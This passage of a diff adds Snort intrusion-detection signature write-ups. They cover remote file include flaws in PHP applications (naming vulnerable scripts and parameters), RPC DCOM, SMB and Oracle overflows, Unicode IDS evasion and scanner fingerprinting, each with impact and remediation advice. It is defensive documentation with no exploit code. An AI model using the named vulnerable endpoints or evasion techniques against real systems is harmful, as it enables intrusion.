+Contributors:
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Microsoft Security Bulletin MS04-031:
+http://www.microsoft.com/technet/security/bulletin/ms04-031.mspx
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000379.txt
+++ snort-2.8.5.2/doc/signatures/100000379.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000379
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "phpNuke" application running on a webserver. Access to the file "admin_mass_email.php" using a remote file being passed as the "phpbb_root_path" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "phpbb_root_path" parameter in the "admin_mass_email.php" script used by the "phpNuke" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using phpNuke
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/2251.txt
+++ snort-2.8.5.2/doc/signatures/2251.txt
@@ -0,0 +1,80 @@
+Rule:  
+
+--
+Sid:
+2251
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerablity in Microsoft RPCSS service for RPC.
+
+--
+Impact:
+Denial of Service. Possible execution of arbitrary code leading to
+unauthorized remote administrative access.
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPCSS Service that handles RPC DCOM
+requests such that execution of arbitrary code or a Denial of Service 
+condition can be issued against a host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to the host
+running the RPCSS service may result in a buffer overflow condition that
+will present the attacker with the opportunity to execute arbitrary code
+with the privileges of the local system account. Alternatively the
+attacker could also cause the RPC service to stop answering RPC requests
+and thus cause a Denial of Service condition to occur.
+
+--
+Affected Systems:
+	Windows NT 4.0 Workstation and Server
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a DCERPC bind request followed by a malicious
+DCERPC DCOM remote activation request.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139, 445 and 593 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+Disallow the use of RPC over HTTP and HTTPS.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+Microsoft:
+http://www.microsoft.com/technet/security/bulletin/MS03-039.asp
+
+eEye:
+http://www.eeye.com/html/Research/Advisories/AD20030910.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2228.txt
+++ snort-2.8.5.2/doc/signatures/2228.txt
@@ -0,0 +1,62 @@
+Rule:  
+
+--
+Sid:
+2228
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in phpMyAdmin.
+
+--
+Impact:
+Varies. Information disclosure, Cross site scripting, unauthorized 
+access, directory traversal.
+
+--
+Detailed Information:
+Multiple versions of the PHP application phpMyAdmin suffer from many 
+known vulnerabilities that can lead to information disclosure, cross 
+site scripting attacks and unauthorized access to the application.
+
+--
+Affected Systems:
+	phpMyAdmin 2.0, 2.0.1 to 2.0.5
+	phpMyAdmin 2.1, 2.1.1, 2.1.2
+	phpMyAdmin 2.2.2 to 2.2.6
+	phpMyAdmin 2.3.1, 2.3.2
+	phpMyAdmin 2.4.0, 2.5.0, 2.5.1
+
+--
+Attack Scenarios:
+The attacker can utilize a directory traversal technique to disclose 
+information in a sensitive system file, then use that information to 
+propagate further attacks against the system.
+
+--
+Ease of Attack:
+Simple. No exploit software is required.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3301.txt
+++ snort-2.8.5.2/doc/signatures/3301.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3301
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2727.txt
+++ snort-2.8.5.2/doc/signatures/2727.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2727
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure add_priority_nvarchar2
+. This procedure is included in
+dbms_repcat.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1010.txt
+++ snort-2.8.5.2/doc/signatures/1010.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+Sid:
+1010
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a web server running Microsoft Internet Information
+Server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases. Denial of
+Service is possible.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running Microsoft Internet Information Server (IIS). Many known
+vulnerabilities exist for this platform and the attack scenarios are
+legion.
+
+--
+Affected Systems:
+	All systems running Microsoft IIS
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Many exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2141.txt
+++ snort-2.8.5.2/doc/signatures/2141.txt
@@ -0,0 +1,61 @@
+Rule:
+
+--
+Sid: 2141
+
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a weakness in the php application shoutbox. 
+
+--
+Impact:
+Information gathering possible execution of arbitrary code and remote access to the host.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a weakness in the php application shoutbox. Specifically the rule generates an event when directory traversal is attempted.
+
+The attacker may be trying to gain information on the php implementation on the host, this may be the prelude to an attack against that host using that information.
+
+--
+Affected Systems:
+Any host using php.
+
+--
+Attack Scenarios:
+An attacker can retrieve a sensitive file containing information on the the host. The attacker might then gain administrator access to the host or execute arbitrary code.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the php implementation on the host. Ensure all measures have been taken to deny access to sensitive files.
+
+Apply the appropriate vendor supplied patches.
+
+Upgrade to the latest non-affected version of the software.
+
+Check the host for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000337.txt
+++ snort-2.8.5.2/doc/signatures/100000337.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000337
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "phpMyDirectory" application running on a webserver. Access to the file "defaults_setup.php" using a remote file being passed as the "ROOT_PATH" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "ROOT_PATH" parameter in the "defaults_setup.php" script used by the "phpMyDirectory" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using phpMyDirectory
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/2083.txt
+++ snort-2.8.5.2/doc/signatures/2083.txt
@@ -0,0 +1,75 @@
+Rule:
+
+--
+Sid:
+2083
+
+--
+Summary:
+xfsmd
+
+--
+Impact:
+Possible root access and code execution.
+
+--
+Detailed Information:
+It is possible for an attacker to exploit some versions of the xfsmd 
+daemon.
+
+Due to a programming error, the service does not correctly check for 
+certain meta-characters and they are not stripped from the request.
+
+The xfsmd daemon is not installed by default on IRIX systems but it is 
+part of an optional package.
+
+--
+Affected Systems:
+	IRIX 6.2
+	IRIX 6.3
+	IRIX 6.4
+	IRIX 6.5.x
+
+--
+Attack Scenarios:
+Exploits are widely available.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Patches are NOT available for this issue.
+
+Disable and remove the xfsmd daemon.
+
+Uprade to the latest non affected version of the operating system
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq:
+http://www.securityfocus.com/bid/5075
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-0359
+
+SGI IRIX:
+ftp://patches.sgi.com/support/free/security/advisories/20020606-01-I
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000587.txt
+++ snort-2.8.5.2/doc/signatures/100000587.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+100000587
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Indexu" application running on a webserver. 
+Access to the file "db_backup.php" using a remote file being passed as the 
+"admin_template_path" parameter may indicate that an exploitation attempt has 
+been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "admin_template_path" parameter in the "db_backup.php" 
+script used by the "Indexu" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Indexu
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/100000749.txt
+++ snort-2.8.5.2/doc/signatures/100000749.txt
@@ -0,0 +1,55 @@
+
+
+Rule:
+
+--
+Sid:
+100000749
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "Plume CMS" application running on a webserver. Access to the file "search.php" using a remote file being passed as the "_PX_config[manager_path]" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "_PX_config[manager_path]" parameter in the "search.php" script used by the "Plume CMS" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Plume CMS
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/119-3.txt
+++ snort-2.8.5.2/doc/signatures/119-3.txt
@@ -0,0 +1,70 @@
+Rule: 
+
+--
+Sid: 
+119-3
+
+-- 
+Summary: 
+This event is generated when the pre-processor http_inspect
+detects network traffic that may constitute an attack.
+
+-- 
+
+Impact: 
+Unknown. This may be an attempt to evade an IDS.
+
+--
+Detailed Information:
+This event is generated when Unicode characters are present in a request
+sent to a web server. This may indicate an attempt to evade an IDS in an
+attempted attack against the server.
+
+No known browsers use unicode encoding, it is likely that this event
+indicates a malicious request.
+
+--
+Affected Systems:
+	Microsoft IIS Servers.
+
+--
+
+Attack Scenarios: 
+An attacker might encode the malicious request to the web server using
+Unicode characters, this may then evade an IDS monitoring traffic and 
+he could then launch a successful attack without being detected.
+
+-- 
+
+Ease of Attack: 
+Simple. Exploits exist.
+
+-- 
+
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+-- 
+
+Corrective Action:
+Check the target host for signs of compromise.
+
+Apply any appropriate vendor supplied patches.
+
+--
+Contributors:
+Daniel Roelker <droelker@sourcefire.com> 
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+HTTP IDS Evasions Revisited - Daniel Roelker
+http://docs.idsresearch.org/http_ids_evasions.pdf
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3141.txt
+++ snort-2.8.5.2/doc/signatures/3141.txt
@@ -0,0 +1,77 @@
+Rule: 
+
+--
+Sid: 
+3141
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft systems using Server Message Block (SMB).
+
+-- 
+Impact: 
+Serious. Execution of arbitrary code leading to unauthorized
+administrative access to the target host. Denial of Service (DoS) is
+also possible.
+
+--
+Detailed Information:
+SMB is a client - server protocol used in sharing resources such as
+files, printers, ports, named pipes and other things, between machines
+on a network.
+
+A vulnerability in the Microsoft implementation of SMB exists due to a
+programming error which may present an attacker with the opportunity to
+exploit the service and run code of their choosing on an affected
+system. The attacker may then cause a DoS condition in the service or
+possibly gain unauthorized access to the target host.
+
+A malicious attacker can exploit the vulnerability by sending a
+malicious response from a server in response to a client request using
+SMB.
+
+--
+Affected Systems:
+	Microsoft Windows 2003
+	Microsoft Windows 2000
+	Microsoft Windows XP
+
+--
+Attack Scenarios: 
+An attacker can supply extra data in the message from the server
+containing code of their choosing to be run on the client.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patches.
+
+Turn off windows file and print services.
+
+Use Samba as an alternative.
+
+--
+Contributors: 
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+eEye:
+http://www.eeye.com/html/research/advisories/AD20050208.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1623.txt
+++ snort-2.8.5.2/doc/signatures/1623.txt
@@ -0,0 +1,54 @@
+Rule:
+
+--
+Sid: 
+1623
+
+--
+Summary:
+This event is generated when activity relating to spurious ftp traffic is detected on the network.
+
+--
+Impact:
+Varies from information gathering to a serious compromise of an ftp server.
+
+--
+Detailed Information:
+FTP is used to transfer files between hosts. This event is indicative of spurious activity in FTP traffic between hosts.
+
+The event may be the result of a transfer of a known protected file or it could be an attempt to compromise the FTP server by overflowing a buffer in the FTP daemon or service.
+
+--
+Attack Scenarios:
+A user may transfer sensitive company information to an external party using FTP.
+
+An attacker might utilize a vulnerability in an FTP daemon to gain access to a host, then upload a Trojan Horse program to gain control of that host.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Disallow access to FTP resources from hosts external to the protected network.
+
+Use secure shell (ssh) to transfer files as a replacement for FTP.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <brian.caswell@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2917.txt
+++ snort-2.8.5.2/doc/signatures/2917.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2917
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure switch_snapshot_master
+. This procedure is included in
+sys.dbms_repcat_sna_utl.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000595.txt
+++ snort-2.8.5.2/doc/signatures/100000595.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+100000595
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Indexu" application running on a webserver. 
+Access to the file "inv_config.php" using a remote file being passed as the 
+"admin_template_path" parameter may indicate that an exploitation attempt has 
+been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "admin_template_path" parameter in the "inv_config.php" 
+script used by the "Indexu" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Indexu
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/626.txt
+++ snort-2.8.5.2/doc/signatures/626.txt
@@ -0,0 +1,79 @@
+Rule:  
+ 
+--
+Sid:
+
+626
+
+--
+Summary:
+This event is generated when the Cybercop vulnerability scanner is used 
+against a host.
+
+--
+Impact:
+Cybercop can be used to identify vulnerabilities on host systems.
+
+--
+Detailed Information:
+This particular packet is a part of Cybercop's OS identification.  
+Specially crafted packets are able to elicit different responses from 
+different operating systems.  This packet is likely to be part of a full
+Cybercop scan rather than an isolated event. Having PUSH, ACK and 
+reserve bits 1 and 2 set at the same time is unusual.  While this rule 
+performs content as well as header checking to avoid false positives, 
+this flag combination in the TCP header is possible is possible in a 
+legitimate situation because of the addition of Explicit Congestion 
+Notification (ECN).
+
+--
+Affected Systems:
+All
+
+--
+Attack Scenarios:
+Cybercop can be used by attackers to determine vulnerabilities present 
+on a host or network of hosts that could be used as attack vectors.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+This tool can be used legitimately by a system and network 
+administrators.
+
+False positives from ECN enabled systems are possible.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+TCP packets with PUSH, ACK and reserved bits 1 and 2 set at the same 
+time are unusual but possible with Explicit Congestion Notification 
+(ECN).  It is advisable to block TCP packets with these flags set that 
+do not have the ECT bit (TOS bit 6) set in the IP header.
+
+--
+Contributors:
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Steven Alexander<alexander.s@mccd.edu>
+
+-- 
+Additional References:
+
+Arachnids:
+http://www.whitehats.com/info/IDS149
+
+Security Focus:
+http://www.securityfocus.com/infocus/1205
+
+RFC:
+http://www.ietf.org/rfc/rfc2481.txt?number=2481
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3374.txt
+++ snort-2.8.5.2/doc/signatures/3374.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3374
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000524.txt
+++ snort-2.8.5.2/doc/signatures/100000524.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+100000524
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Micro CMS" application running on a webserver. 
+Access to the file "microcms-include.php" using a remote file being passed as 
+the "microcms_path" parameter may indicate that an exploitation attempt has 
+been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "microcms_path" parameter in the "microcms-include.php" 
+script used by the "Micro CMS" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Micro CMS
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
